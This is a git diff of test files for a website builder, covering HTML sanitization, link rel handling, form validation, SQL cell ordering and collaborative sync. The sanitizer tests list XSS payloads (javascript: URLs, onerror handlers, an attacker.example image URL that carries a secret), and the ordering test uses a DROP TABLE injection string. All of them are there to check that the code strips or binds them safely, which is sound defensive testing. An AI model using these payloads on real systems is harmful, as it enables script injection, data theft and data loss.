+  it('keeps authored tokens, always adds the _blank guard, and emits each token once', () => {
+    expect(mergeAnchorRel(undefined, '_self')).toBeNull()
+    expect(mergeAnchorRel('', '_self')).toBeNull()
+    expect(mergeAnchorRel('nofollow', '_self')).toBe('nofollow')
+    expect(mergeAnchorRel(' next  prev ', '_parent')).toBe('next prev')
+    expect(mergeAnchorRel(undefined, '_blank')).toBe(anchorRel('_blank'))
+    expect(mergeAnchorRel('nofollow', '_blank')).toBe('nofollow noopener noreferrer')
+    expect(mergeAnchorRel('noopener', '_blank')).toBe('noopener noreferrer')
+    expect(mergeAnchorRel('noreferrer sponsored', '_blank')).toBe('noreferrer sponsored noopener')
+    expect(mergeAnchorRel(42, '_blank')).toBe('noopener noreferrer')
+  })
+
+  const relAttributes = (html: string): string[] => [...html.matchAll(/\brel="([^"]*)"/g)].map((m) => m[1]!)
+
+  it('link and button render() emit exactly one rel, keeping the authored tokens', () => {
+    const cases = [
+      LinkModule.render({ ...LinkModule.defaults, href: '/page/2/', target: '_self', htmlAttributes: { rel: 'next' } }, []).html,
+      ButtonModule.render({ ...ButtonModule.defaults, href: '/page/2/', target: '_self', htmlAttributes: { rel: 'next' } }, []).html,
+    ]
+    for (const html of cases) expect(relAttributes(html)).toEqual(['next'])
+  })
+
+  it('an authored rel never removes the noopener guard on a new-tab link or button', () => {
+    // Two rel attributes on one element is a parse error: the browser keeps
+    // the first. Before the merge the author's rel was emitted before the
+    // module's, so a nofollow new-tab link published without noopener.
+    const link = LinkModule.render({ ...LinkModule.defaults, href: 'https://e.com', target: '_blank', htmlAttributes: { rel: 'nofollow' } }, []).html
+    const button = ButtonModule.render({ ...ButtonModule.defaults, href: 'https://e.com', target: '_blank', htmlAttributes: { rel: 'nofollow' } }, []).html
+    for (const html of [link, button]) {
+      expect(relAttributes(html)).toEqual(['nofollow noopener noreferrer'])
+    }
+    const authoredGuard = LinkModule.render({ ...LinkModule.defaults, href: 'https://e.com', target: '_blank', htmlAttributes: { rel: 'noopener noreferrer' } }, []).html
+    expect(relAttributes(authoredGuard)).toEqual(['noopener noreferrer'])
+  })
+
+  it('escapes the authored rel and leaves the other bag attributes alone', () => {
+    const html = LinkModule.render(
+      { ...LinkModule.defaults, href: 'https://e.com', target: '_self', htmlAttributes: { rel: 'a"b', 'data-track': 'x' } },
+      [],
+    ).html
+    expect(html).toContain('rel="a&quot;b"')
+    expect(html).toContain('data-track="x"')
+  })
+})
+
 describe('linkUsesChildren — children-vs-text fallback', () => {
   it('treats an empty children collection as "use text", not "use empty children"', () => {
     expect(linkUsesChildren(0)).toBe(false)
diff --git a/src/__tests__/core/markdownDocumentSanitize.test.ts b/src/__tests__/core/markdownDocumentSanitize.test.ts
index f72e4a573..2afeed9fa 100644
--- a/src/__tests__/core/markdownDocumentSanitize.test.ts
+++ b/src/__tests__/core/markdownDocumentSanitize.test.ts
@@ -1,5 +1,5 @@
 import { describe, expect, it } from 'bun:test'
-import { MARKDOWN_DOCUMENT_CONFIG, sanitizeRichtext, type SanitizerConfig } from '@core/sanitize'
+import { MARKDOWN_DOCUMENT_CONFIG, RICHTEXT_CONTENT_CONFIG, sanitizeRichtext, type SanitizerConfig } from '@core/sanitize'
 import { renderReadmeHtml } from '@site/panels/DependenciesPanel/readmeHtml'
 
 describe('MARKDOWN_DOCUMENT_CONFIG (package README rendering)', () => {
@@ -68,6 +68,22 @@ describe('MARKDOWN_DOCUMENT_CONFIG (package README rendering)', () => {
     expect(html).not.toContain('referrerpolicy')
   })
 
+  it('isolates content site images from the stricter README policy across alternating calls', () => {
+    const input = '<img src="/uploads/a.png"><img src="https://example.com/badge.png"><img src="data:image/png;base64,AAAA">'
+    for (let i = 0; i < 2; i++) {
+      const site = sanitizeRichtext(input, RICHTEXT_CONTENT_CONFIG)
+      expect(site).toContain('src="/uploads/a.png"')
+      expect(site).not.toContain('referrerpolicy')
+      expect(site).not.toContain('data:image')
+      const readme = sanitizeRichtext(input, MARKDOWN_DOCUMENT_CONFIG)
+      expect(readme).not.toContain('/uploads/a.png')
+      expect(readme).not.toContain('data:image')
+      expect(readme).toContain('src="https://example.com/badge.png"')
+      expect(readme).toContain('referrerpolicy="no-referrer"')
+      expect(readme).toContain('loading="lazy"')
+    }
+  })
+
   it('renders GFM markdown through the same sanitizer', () => {
     const html = renderReadmeHtml('# Title\n\n[![npm](https://img.shields.io/x.svg)](https://npmjs.com/x)\n\n| a | b |\n|---|---|\n| 1 | 2 |\n\n<input type="text">')
     expect(html).toContain('<h1')
diff --git a/src/__tests__/core/sanitize.test.ts b/src/__tests__/core/sanitize.test.ts
index 266cca766..1b80196f9 100644
--- a/src/__tests__/core/sanitize.test.ts
+++ b/src/__tests__/core/sanitize.test.ts
@@ -15,7 +15,7 @@
  */
 
 import { describe, it, expect } from 'bun:test'
-import { sanitizeRichtext, isRichtextPropKey, PLAIN_TEXT_CONFIG } from '@core/sanitize'
+import { sanitizeRichtext, isRichtextPropKey, PLAIN_TEXT_CONFIG, RICHTEXT_CONTENT_CONFIG } from '@core/sanitize'
 
 // ---------------------------------------------------------------------------
 // XSS prevention — the core contract
@@ -90,6 +90,41 @@ describe('sanitizeRichtext() — XSS prevention', () => {
 // ---------------------------------------------------------------------------
 
 describe('sanitizeRichtext() — safe markup preservation', () => {
+  it('keeps the default profile image-free (AI chat renderer, admin surfaces)', () => {
+    for (const src of ['https://attacker.example/?d=secret', '/uploads/a.png']) {
+      const html = sanitizeRichtext(`<p>Hi</p><img src="${src}"><figure><figcaption>c</figcaption></figure>`)
+      expect(html).not.toContain('<img')
+      expect(html).not.toContain('attacker')
+      expect(html).not.toContain('<figure')
+      expect(html).toContain('<p>Hi</p>')
+    }
+  })
+
+  it('preserves safe images and captions across repeated content sanitization', () => {
+    const input = '<figure><p><img src="/uploads/photo name.jpg?q=1&amp;v=2" alt="A &amp; B" title="Photo" width="320" height="200" loading="lazy" decoding="async"></p><figcaption>Caption</figcaption></figure>'
+    const html = sanitizeRichtext(input, RICHTEXT_CONTENT_CONFIG)
+    expect(html).toBe(input)
+    expect(sanitizeRichtext(html, RICHTEXT_CONTENT_CONFIG)).toBe(html)
+    for (const src of ['https://example.com/a.jpg', 'http://example.com/a.jpg', './photo.jpg', '../photo.jpg', 'photo.jpg']) {
+      expect(sanitizeRichtext(`<img src="${src}">`, RICHTEXT_CONTENT_CONFIG)).toContain(`src="${src}"`)
+    }
+  })
+
+  it('removes unsafe image sources and executable markup', () => {
+    for (const src of [
+      'javascript:alert(1)', 'vbscript:msgbox(1)', 'data:image/png;base64,AAAA',
+      'data:image/svg+xml;base64,AAAA', 'blob:https://example.com/id', 'file:///a',
+      'mailto:a@example.com', 'tel:123', 'JaVaScRiPt:alert(1)', 'jav&#97;script:alert(1)',
+      '&#1;javascript:alert(1)', 'java&#9;script:alert(1)', 'java&#10;script:alert(1)',
+      '//evil.example/a', '/\\evil.example/a', '\\evil.example/a', '&#1;//evil.example/a',
+      '/&#9;/evil.example/a', 'https:\\evil.example/a',
+    ]) {
+      expect(sanitizeRichtext(`<img src="${src}" onerror="alert(1)" onload="alert(1)" style="color:red" srcset="/a 2x" data-x="x">`, RICHTEXT_CONTENT_CONFIG)).toBe('<img>')
+    }
+    const html = sanitizeRichtext('<svg><foreignObject><img src="/a" onerror="alert(1)"></foreignObject></svg><form><input></form><script>alert(1)</script>', RICHTEXT_CONTENT_CONFIG)
+    expect(html).toBe('')
+  })
+
   it('preserves plain text unchanged', () => {
     const result = sanitizeRichtext('Hello, World!')
     expect(result).toBe('Hello, World!')
@@ -157,9 +192,10 @@ describe('sanitizeRichtext() — safe markup preservation', () => {
 
 describe('sanitizeRichtext() with PLAIN_TEXT_CONFIG', () => {
   it('strips ALL HTML tags, returning plain text only', () => {
-    const result = sanitizeRichtext('<strong>Hello</strong> <em>World</em>', PLAIN_TEXT_CONFIG)
+    const result = sanitizeRichtext('<strong>Hello</strong> <em>World</em><img src="/uploads/a.png">', PLAIN_TEXT_CONFIG)
     expect(result).not.toContain('<strong>')
     expect(result).not.toContain('<em>')
+    expect(result).not.toContain('<img')
     expect(result).toContain('Hello')
     expect(result).toContain('World')
   })
@@ -180,8 +216,8 @@ describe('sanitizeRichtext() in server runtime', () => {
         '-e',
         `
           const { sanitizeRichtext } = await import('./src/core/sanitize.ts')
-          const sanitized = sanitizeRichtext('<script>alert(1)</script><p>Safe</p>')
-          if (sanitized.includes('<script') || sanitized.includes('alert(1)')) {
+          const sanitized = sanitizeRichtext('<script>alert(1)</script><img src=/a onerror=alert(2)><p>Safe</p>')
+          if (sanitized.includes('<script') || sanitized.includes('alert(1)') || sanitized.includes('<img')) {
             throw new Error('unsafe fallback: ' + sanitized)
           }
           if (!sanitized.includes('Safe')) {
@@ -230,8 +266,7 @@ describe('sanitizeRichtext() in server runtime', () => {
   })
 
   // GHSA-jg75-xjf8-vvf8: the previous backend (happy-dom) stopped DOMPurify's
-  // node walk at the first removed node, so a disallowed element (`<img>` is
-  // not in the richtext profile) followed by a `<script>` shipped the script
+  // node walk at the first removed node, so a disallowed element followed by a `<script>` shipped the script
   // unsanitized. Run through the real server sanitizer in a clean process so
   // the ambient happy-dom test DOM cannot mask the production backend.
   it('sanitizes siblings that follow a removed node (no NodeIterator skip)', () => {
@@ -243,9 +278,9 @@ describe('sanitizeRichtext() in server runtime', () => {
           await import('./server/richtextSanitizer.ts')
           const { sanitizeRichtext } = await import('./src/core/sanitize.ts')
           const vectors = [
-            '<img src=/i.png><script>alert(1)</script>',
-            '<img src=x><img src=y onerror=alert(1)>',
-            '<img src=x><svg onload=alert(1)>',
+            '<input><script>alert(1)</script>',
+            '<input><img src=y onerror=alert(1)>',
+            '<input><svg onload=alert(1)>',
           ]
           for (const v of vectors) {
             const out = sanitizeRichtext(v)
@@ -253,7 +288,7 @@ describe('sanitizeRichtext() in server runtime', () => {
               throw new Error('sibling-skip XSS survived: ' + JSON.stringify(out))
             }
           }
-          const kept = sanitizeRichtext('<img src=/a.png><p>Text stays.</p>')
+          const kept = sanitizeRichtext('<input><p>Text stays.</p>')
           if (!kept.includes('Text stays.')) {
             throw new Error('lost content after a removed node: ' + kept)
           }
diff --git a/src/__tests__/forms/formValidation.test.ts b/src/__tests__/forms/formValidation.test.ts
index adb8113d7..eee826a50 100644
--- a/src/__tests__/forms/formValidation.test.ts
+++ b/src/__tests__/forms/formValidation.test.ts
@@ -167,3 +167,70 @@ describe('validateFormSubmission', () => {
     }
   })
 })
+
+// Options created in the Data workspace get a generated id and a slug value.
+// Form controls submit the value; the stored cell is the id.
+const optionTable: DataTable = {
+  ...table,
+  id: 'contact_requests',
+  primaryFieldId: 'topic',
+  fields: [
+    { id: 'topic', label: 'Topic', type: 'select', options: [
+      { id: 'o1x9kq2v', label: 'General request', value: 'general_request' },
+      { id: 'p4m2zt7w', label: 'Billing', value: 'billing' },
+    ] },
+    { id: 'channels', label: 'Channels', type: 'multiSelect', options: [
+      { id: 'c8a1', label: 'Email', value: 'email' },
+      { id: 'c8a2', label: 'Phone', value: 'phone' },
+    ] },
+  ],
+}
+
+const optionControls = [
+  { nodeId: 'topic-select', fieldId: 'topic' },
+  { nodeId: 'channels-select', fieldId: 'channels' },
+]
+
+describe('validateFormSubmission select options', () => {
+  it('accepts the option value a form control submits and stores the option id', () => {
+    const result = validateFormSubmission({
+      table: optionTable,
+      controls: optionControls,
+      values: { topic: 'general_request', channels: ['email', 'phone'] },
+    })
+
+    expect(result.ok).toBe(true)
+    if (result.ok) {
+      expect(result.cells).toEqual({ topic: 'o1x9kq2v', channels: ['c8a1', 'c8a2'] })
+    }
+  })
+
+  it('still accepts option ids, mixed with values for multiSelect', () => {
+    const result = validateFormSubmission({
+      table: optionTable,
+      controls: optionControls,
+      values: { topic: 'p4m2zt7w', channels: ['c8a1', 'phone'] },
+    })
+
+    expect(result.ok).toBe(true)
+    if (result.ok) {
+      expect(result.cells).toEqual({ topic: 'p4m2zt7w', channels: ['c8a1', 'c8a2'] })
+    }
+  })
+
+  it('rejects options that match neither an id nor a value', () => {
+    const result = validateFormSubmission({
+      table: optionTable,
+      controls: optionControls,
+      values: { topic: 'General request', channels: ['email', 'fax'] },
+    })
+
+    expect(result.ok).toBe(false)
+    if (!result.ok) {
+      expect(result.errors).toEqual([
+        { fieldId: 'topic', code: 'invalid_option', message: 'Choose one of the allowed options.' },
+        { fieldId: 'channels', code: 'invalid_option', message: 'Choose one of the allowed options.' },
+      ])
+    }
+  })
+})
diff --git a/src/__tests__/htmlImport/mapping.test.ts b/src/__tests__/htmlImport/mapping.test.ts
index 85ab5ada3..fbe8987d4 100644
--- a/src/__tests__/htmlImport/mapping.test.ts
+++ b/src/__tests__/htmlImport/mapping.test.ts
@@ -1032,10 +1032,30 @@ describe('HTML attribute preservation — props.htmlAttributes for ordinary base
 
     const children = container.children.map((id) => result.nodes[id]!)
     expect(children[0]!.moduleId).toBe('base.link')
-    expect(children[0]!.props.htmlAttributes).toEqual({ 'data-track': 'jump' })
+    expect(children[0]!.props.htmlAttributes).toEqual({ rel: 'nofollow', 'data-track': 'jump' })
     expect(children[1]!.moduleId).toBe('base.image')
     expect(children[1]!.props.htmlAttributes).toEqual({ 'data-lazy': 'logo' })
   })
+
+  it('keeps an authored rel on links and button anchors', () => {
+    // The modules regenerate only the security rel for target="_blank", so a
+    // source rel (nofollow, next/prev, sponsored) has no other home. A theme
+    // styling `a[rel="next"]` needs it to survive import.
+    const result = imported(`
+      <nav>
+        <a href="/page/2/" rel="next">Next</a>
+        <a class="btn" href="https://sponsor.example" target="_blank" rel="sponsored nofollow">Sponsor</a>
+      </nav>
+    `)
+
+    const nav = result.nodes[result.rootIds[0]!]!
+    const children = nav.children.map((id) => result.nodes[id]!)
+    expect(children[0]!.moduleId).toBe('base.link')
+    expect(children[0]!.props.htmlAttributes).toEqual({ rel: 'next' })
+    expect(children[1]!.moduleId).toBe('base.button')
+    expect(children[1]!.props.target).toBe('_blank')
+    expect(children[1]!.props.htmlAttributes).toEqual({ rel: 'sponsored nofollow' })
+  })
 })
 
 // ---------------------------------------------------------------------------
diff --git a/src/__tests__/loops/cellFilter.test.ts b/src/__tests__/loops/cellFilter.test.ts
index 7b0eb8590..d2794133c 100644
--- a/src/__tests__/loops/cellFilter.test.ts
+++ b/src/__tests__/loops/cellFilter.test.ts
@@ -146,22 +146,40 @@ describe('parseCellOrder', () => {
 })
 
 describe('cellOrderSql', () => {
+  test('numeric ordering binds every dialect-specific occurrence and keeps untyped cells last', () => {
+    const field = "rank'); DROP TABLE data_rows; --"
+    for (const dialect of ['postgres', 'sqlite'] as const) {
+      const { sql, params } = cellOrderSql({ field, dialect, column: 'c', paramIndex: 3, numeric: true })
+      expect(sql).not.toContain(field)
+      expect(sql).toContain('is null then 1 else 0 end asc,')
+      expect(params).toEqual(dialect === 'postgres' ? [field] : [field, field, field, field])
+      if (dialect === 'postgres') {
+        expect(sql).toContain('jsonb_typeof')
+        expect(sql).toContain('as numeric')
+        expect(sql).toContain('$3')
+        expect(sql).not.toContain('$4')
+      } else {
+        expect(sql.match(/\?/g)).toHaveLength(params.length)
+        expect(sql).toContain("in ('integer', 'real')")
+      }
+    }
+  })
   test('binds the field name and never writes it into the SQL', () => {
     for (const dialect of ['postgres', 'sqlite'] as const) {
-      const { sql, params } = cellOrderSql({ field: 'published-on', dialect, column: 'c', paramIndex: 2 })
+      const { sql, params } = cellOrderSql({ field: 'published-on', dialect, column: 'c', paramIndex: 2, numeric: false })
       expect(sql).not.toContain('published-on')
       expect(params).toEqual(['published-on'])
     }
   })
 
   test('rows without the field get a defined sort position', () => {
-    const { sql } = cellOrderSql({ field: 'f', dialect: 'sqlite', column: 'c', paramIndex: 1 })
+    const { sql } = cellOrderSql({ field: 'f', dialect: 'sqlite', column: 'c', paramIndex: 1, numeric: false })
     expect(sql).toContain('coalesce')
   })
 
   test('placeholder style follows the dialect', () => {
-    expect(cellOrderSql({ field: 'f', dialect: 'postgres', column: 'c', paramIndex: 3 }).sql).toContain('$3')
-    expect(cellOrderSql({ field: 'f', dialect: 'sqlite', column: 'c', paramIndex: 3 }).sql).toContain('?')
+    expect(cellOrderSql({ field: 'f', dialect: 'postgres', column: 'c', paramIndex: 3, numeric: false }).sql).toContain('$3')
+    expect(cellOrderSql({ field: 'f', dialect: 'sqlite', column: 'c', paramIndex: 3, numeric: false }).sql).toContain('?')
   })
 })
 
diff --git a/src/__tests__/loops/dataRowsCellFilter.test.ts b/src/__tests__/loops/dataRowsCellFilter.test.ts
index e7e514007..e32173389 100644
--- a/src/__tests__/loops/dataRowsCellFilter.test.ts
+++ b/src/__tests__/loops/dataRowsCellFilter.test.ts
@@ -28,10 +28,11 @@ async function seedPost(
   slug: string,
   cells: Record<string, unknown>,
   publishedAt: string,
+  tableId = 'posts',
 ): Promise<void> {
   await db`
     insert into data_rows (id, table_id, cells_json, slug, status, updated_at)
-    values (${rowId}, ${'posts'}, ${cells}, ${slug}, ${'published'}, ${publishedAt})
+    values (${rowId}, ${tableId}, ${cells}, ${slug}, ${'published'}, ${publishedAt})
   `
   await db`
     insert into data_row_versions (id, row_id, version_number, cells_json, slug, published_at, created_at)
@@ -84,6 +85,26 @@ beforeAll(async () => {
   await seedDataRow('logos', 'l-a', 'acme', { name: 'Acme', member: true })
   await seedDataRow('logos', 'l-b', 'globex', { name: 'Globex', member: false })
   await seedDataRow('logos', 'l-c', 'initech', { name: 'Initech' })
+
+  for (const kind of ['data', 'postType'] as const) {
+    const tableId = `numeric-${kind}`
+    const fields = [{ id: 'rank', label: 'Rank', type: 'number' }, { id: 'included', label: 'Included', type: 'boolean' }]
+    await db`
+      insert into data_tables (id, name, slug, kind, route_base, singular_label, plural_label, fields_json, system)
+      values (${tableId}, ${tableId}, ${tableId}, ${kind}, ${''}, ${'Item'}, ${'Items'}, ${fields}, ${false})
+    `
+    const values = [
+      { slug: 'negative', rank: -2.5 }, { slug: 'zero', rank: 0 },
+      { slug: 'nine', rank: 9 }, { slug: 'ten', rank: 10 }, { slug: 'fraction', rank: 2.25 },
+      { slug: 'null', rank: null }, { slug: 'missing' }, { slug: 'string', rank: '100' },
+    ]
+    for (const [index, value] of values.entries()) {
+      const cells = { ...value, included: index % 2 === 0 }
+      const rowId = tableId + '-' + index
+      if (kind === 'data') await seedDataRow(tableId, rowId, value.slug, cells)
+      else await seedPost(rowId, value.slug, cells, '2024-01-01T00:00:00Z', tableId)
+    }
+  }
 })
 
 afterAll(async () => {
@@ -153,6 +174,28 @@ describe('data.rows cell filter — post-type tables', () => {
 })
 
 describe('data.rows ordering by a cell', () => {
+  for (const kind of ['data', 'postType'] as const) {
+    it(`orders numeric ${kind} cells by their value, with untyped cells last in either direction`, async () => {
+      for (const direction of ['asc', 'desc'] as const) {
+        const { items, totalItems } = await fetchPublishedDataRowItems(db, {
+          tableId: `numeric-${kind}`, orderBy: 'cell:rank', direction, limit: 50, offset: 0,
+        })
+        expect(items.map((item) => String(item.fields.slug))).toEqual(direction === 'asc'
+          ? ['negative', 'zero', 'fraction', 'nine', 'ten', 'null', 'missing', 'string']
+          : ['ten', 'nine', 'fraction', 'zero', 'negative', 'string', 'missing', 'null'])
+        expect(totalItems).toBe(8)
+      }
+    })
+
+    it(`keeps numeric ${kind} filtering and pagination parameter positions correct`, async () => {
+      const { items, totalItems } = await fetchPublishedDataRowItems(db, {
+        tableId: `numeric-${kind}`, orderBy: 'cell:rank', direction: 'asc', limit: 2, offset: 1,
+        cellFilter: { field: 'included', operator: 'isTrue', value: '' },
+      })
+      expect(items.map((item) => String(item.fields.slug))).toEqual(['fraction', 'nine'])
+      expect(totalItems).toBe(4)
+    })
+  }
   it('sorts by the cell, not by the row columns', async () => {
     // Seed order is alpha, bravo, charlie, delta; the dates deliberately
     // disagree with it so a column sort cannot produce this result.
diff --git a/src/__tests__/publisher/classStyleInjector.test.ts b/src/__tests__/publisher/classStyleInjector.test.ts
index 2bcf72ae8..9df85b5de 100644
--- a/src/__tests__/publisher/classStyleInjector.test.ts
+++ b/src/__tests__/publisher/classStyleInjector.test.ts
@@ -130,6 +130,37 @@ describe('bagToCSS', () => {
     expect(css).toBe('')
   })
 
+  it('emits custom properties with underscores or a leading --_ as authored (#616)', () => {
+    // Webflow exports generate both forms; dropping them breaks every var().
+    const css = bagToCSS({
+      '--card_bg': '#0575d6',
+      '--_accent': '#fc834b',
+      '--brand---ds_mapped---background--page': '#fff',
+      '--plain-ok': '#161617',
+    } as never)
+    expect(css).toContain('--card_bg: #0575d6;')
+    expect(css).toContain('--_accent: #fc834b;')
+    expect(css).toContain('--brand---ds_mapped---background--page: #fff;')
+    expect(css).toContain('--plain-ok: #161617;')
+  })
+
+  it('keeps the case of a custom property name', () => {
+    // Custom properties are case-sensitive: `--brandColor` must not become
+    // `--brand-color`, or `var(--brandColor)` stops resolving.
+    const css = bagToCSS({ '--brandColor': 'red' } as never)
+    expect(css).toBe('  --brandColor: red;')
+  })
+
+  it('drops an invalid custom property name', () => {
+    const css = bagToCSS({ '--': 'a', '--has space': 'b', '--x;y': 'c', '--a:b': 'd' } as never)
+    expect(css).toBe('')
+  })
+
+  it('still rejects underscores in a standard property name', () => {
+    const css = bagToCSS({ font_size: '12px', '-_x': '1' } as never)
+    expect(css).toBe('')
+  })
+
   it('drops undefined and null and empty-string values', () => {
     const css = bagToCSS({ fontSize: undefined, color: '' } as never)
     expect(css).toBe('')
diff --git a/src/__tests__/publisher/outletEntryBody.test.ts b/src/__tests__/publisher/outletEntryBody.test.ts
index 17c73e891..659c91648 100644
--- a/src/__tests__/publisher/outletEntryBody.test.ts
+++ b/src/__tests__/publisher/outletEntryBody.test.ts
@@ -11,6 +11,7 @@ import { describe, expect, it } from 'bun:test'
 import { makeModule, makePage, makeRegistry, makeSite } from './helpers'
 import { publishPage } from '@core/publisher'
 import { effectiveNodeBindings, resolveDynamicProps } from '@core/templates/dynamicBindings'
+import type { DynamicPropBinding } from '@core/page-tree'
 import type { LoopItem } from '@core/loops/types'
 
 const bodyModule = makeModule('base.body', {
@@ -51,6 +52,39 @@ describe('entry outlet body binding', () => {
     expect(html).toContain('Hello world')
   })
 
+  it('preserves safe body images through canvas resolution and publishing for every binding path', () => {
+    const boundModule = makeModule('test.richtext', { ...outletModule, id: 'test.richtext' })
+    const imageRegistry = makeRegistry({ 'base.body': bodyModule, 'base.outlet': outletModule, 'test.richtext': boundModule })
+    const explicit: Record<string, DynamicPropBinding> = { html: { source: 'currentEntry', field: 'body', format: 'html' } }
+    for (const body of [
+      '## Heading\n\nBefore [link](https://example.com).\n\n![Alt text](/uploads/photo.jpg "Photo title")\n\nAfter.',
+      '## Heading\n\nBefore [link](https://example.com).\n\n<img src="/uploads/photo.jpg" alt="Alt text" title="Photo title" loading="lazy" onerror="alert(1)"><img src="data:image/png;base64,AAAA"><img src="//evil.example/a">\n\nAfter.',
+    ]) {
+      for (const node of [
+        { moduleId: 'base.outlet', props: { html: '' } },
+        { moduleId: 'test.richtext', props: { html: '' }, dynamicBindings: explicit },
+        { moduleId: 'test.richtext', props: { html: '{currentEntry.body}' } },
+      ]) {
+        const context = { entryStack: [entry(body)] }
+        const resolved = resolveDynamicProps(node.props, effectiveNodeBindings(node), context)
+        const page = makePage({ root: { moduleId: 'base.body', children: ['outlet'] }, outlet: node })
+        const { html } = publishPage(page, makeSite(), imageRegistry, { templateContext: context })
+        const content = html.match(/<section data-instatic-content-region>([\s\S]*?)<\/section>/)?.[1]
+        expect(content).toBeDefined()
+        for (const output of [String(resolved.html), content ?? '']) {
+          expect(output).toContain('<img src="/uploads/photo.jpg"')
+          expect(output).toContain('alt="Alt text"')
+          expect(output).toContain('title="Photo title"')
+          expect(output).toContain('loading="lazy"')
+          expect(output).toContain('<h2>Heading</h2>')
+          expect(output).toContain('href="https://example.com"')
+          expect(output).toContain('After.')
+          expect(output).not.toMatch(/onerror|data:image|evil\.example/)
+        }
+      }
+    }
+  })
+
   it('leaves the outlet empty on a non-entry render (no current entry in scope)', () => {
     const page = makePage({
       root: { moduleId: 'base.body', children: ['outlet'] },
diff --git a/src/__tests__/server/cmsPublish.test.ts b/src/__tests__/server/cmsPublish.test.ts
index 3a94b3a89..3c2308b48 100644
--- a/src/__tests__/server/cmsPublish.test.ts
+++ b/src/__tests__/server/cmsPublish.test.ts
@@ -158,6 +158,22 @@ function createPublishFakeDb() {
       })
       return { rows: [], rowCount: 1 }
     }
+    // persistSitePublish — read the page's previously active version
+    if (sql.startsWith('select active_version_id from data_rows where id =')) {
+      const row = state.dataRows.find((r) => r.id === params[0])
+      return { rows: row ? [{ active_version_id: row.active_version_id }] : [], rowCount: row ? 1 : 0 }
+    }
+    // pruneSupersededRuntimeAssets — params: $1=rowId, $2=activeVersionId, $3=previousVersionId
+    if (sql.startsWith('delete from published_runtime_assets')) {
+      const pruned = new Set(
+        state.dataRowVersions
+          .filter((v) => v.row_id === params[0] && v.id !== params[1] && v.id !== params[2])
+          .map((v) => v.id),
+      )
+      const before = state.runtimeAssets.length
+      state.runtimeAssets = state.runtimeAssets.filter((a) => !pruned.has(a.page_version_id))
+      return { rows: [], rowCount: before - state.runtimeAssets.length }
+    }
     // update data_rows set active_version_id = $1 ... (after publish)
     // SQL params: $1=versionId, $2=publishedByUserId, $3=published_at, $4=updatedByUserId, $5=updated_at, $6=rowId
     if (sql.startsWith('update data_rows') && sql.includes('active_version_id')) {
diff --git a/src/__tests__/server/cmsTemplateRoutes.test.ts b/src/__tests__/server/cmsTemplateRoutes.test.ts
index e76e9eef7..bd06c8aae 100644
--- a/src/__tests__/server/cmsTemplateRoutes.test.ts
+++ b/src/__tests__/server/cmsTemplateRoutes.test.ts
@@ -19,6 +19,11 @@ type QueryHandler = (sql: string, params: unknown[]) => DbResult | undefined
 function makeTemplateRouteFakeDb(handlers: QueryHandler[]) {
   return createFakeDb(async (rawSql, params): Promise<DbResult> => {
     const sql = rawSql.replace(/\s+/g, ' ').trim().toLowerCase()
+    // Entry routes read the table schema to resolve media cells; these
+    // fixtures have no table rows, so no media fields are resolved.
+    if (sql.startsWith('select logical_id, name, slug, kind') && sql.includes('from data_tables')) {
+      return { rows: [], rowCount: 0 } as unknown as DbResult
+    }
     for (const handler of handlers) {
       const result = handler(sql, params)
       if (result) return result
diff --git a/src/__tests__/server/collabLargeDelivery.test.ts b/src/__tests__/server/collabLargeDelivery.test.ts
new file mode 100644
index 000000000..80b9ef15d
--- /dev/null
+++ b/src/__tests__/server/collabLargeDelivery.test.ts
@@ -0,0 +1,61 @@
+import { describe, expect, it } from 'bun:test'
+import * as encoding from 'lib0/encoding'
+import { collabFramePackets, createCollabFrameReader, encodeCollabFrame, decodeCollabFrame, FRAME_SYNC } from '@core/collab'
+import { createSocketFlow } from '../../../server/collab/socketFlow'
+
+describe('large collaboration delivery', () => {
+  it('delivers an 8 MiB stored snapshot over real sockets without exceeding default backpressure', async () => {
+    const frame = encodeCollabFrame('site', 'generation', FRAME_SYNC, new Uint8Array(8 * 1024 * 1024).fill(37))
+    let flow: ReturnType<typeof createSocketFlow> | undefined
+    const server = Bun.serve({ port: 0, fetch(req, srv) { if (srv.upgrade(req)) return; return new Response('no upgrade', { status: 426 }) }, websocket: {
+      closeOnBackpressureLimit: true,
+      open(ws) { flow = createSocketFlow(ws); void flow.run(() => flow!.send(frame)) },
+      drain() { flow?.drain() }, close() { flow?.close() }, message() {},
+    } })
+    const reader = createCollabFrameReader()
+    const ws = new WebSocket(`ws://localhost:${server.port}`)
+    ws.binaryType = 'arraybuffer'
+    try {
+      const received = await new Promise<Uint8Array>((resolve, reject) => {
+        const timer = setTimeout(() => reject(new Error('Snapshot delivery timed out')), 4000)
+        ws.onclose = () => { clearTimeout(timer); reject(new Error('Socket closed before snapshot arrived')) }
+        ws.onmessage = event => {
+          const packet = new Uint8Array(event.data)
+          expect(packet.byteLength).toBeLessThan(257 * 1024)
+          const result = reader.read(packet)
+          if (result) { clearTimeout(timer); resolve(result) }
+        }
+      })
+      expect(received).toEqual(frame)
+      expect(ws.readyState).toBe(WebSocket.OPEN)
+    } finally { ws.close(); reader.clear(); server.stop(true) }
+  })
+
+  it('assembles interleaved documents and releases completed allocations', () => {
+    const a = encodeCollabFrame('site', 'a', FRAME_SYNC, new Uint8Array(700000).fill(5))
+    const b = encodeCollabFrame('page:x', 'b', FRAME_SYNC, new Uint8Array(700000).fill(9))
+    const packetsA = [...collabFramePackets(a)], packetsB = [...collabFramePackets(b)]
+    const reader = createCollabFrameReader(), results: Uint8Array[] = []
+    for (let i = 0; i < packetsA.length; i++) for (const packet of [packetsA[i], packetsB[i]]) { const result = reader.read(packet); if (result) results.push(result) }
+    expect(results).toEqual([a, b])
+    expect(reader.read(encodeCollabFrame('presence', '', 4, new Uint8Array()))).not.toBeNull()
+  })
+
+  it('rejects missing, repeated, oversized and inconsistent fragments before applying a document', () => {
+    const frame = encodeCollabFrame('site', 'a', FRAME_SYNC, new Uint8Array(700000))
+    const packets = [...collabFramePackets(frame)]
+    expect(() => createCollabFrameReader().read(packets[1])).toThrow('start')
+    const reader = createCollabFrameReader()
+    expect(reader.read(packets[0])).toBeNull()
+    expect(() => reader.read(packets[0])).toThrow('order')
+    reader.clear()
+    expect(reader.read(packets[0])).toBeNull()
+    const first = decodeCollabFrame(packets[0]), payload = encoding.createEncoder()
+    encoding.writeVarUint(payload, 65 * 1024 * 1024); encoding.writeVarUint(payload, 0); encoding.writeUint8Array(payload, new Uint8Array([1]))
+    expect(() => reader.read(encodeCollabFrame('', first.generation, 5, encoding.toUint8Array(payload)))).toThrow('fragment')
+    // A different declared total is refused even when its offset is valid.
+    const inconsistent = encoding.createEncoder()
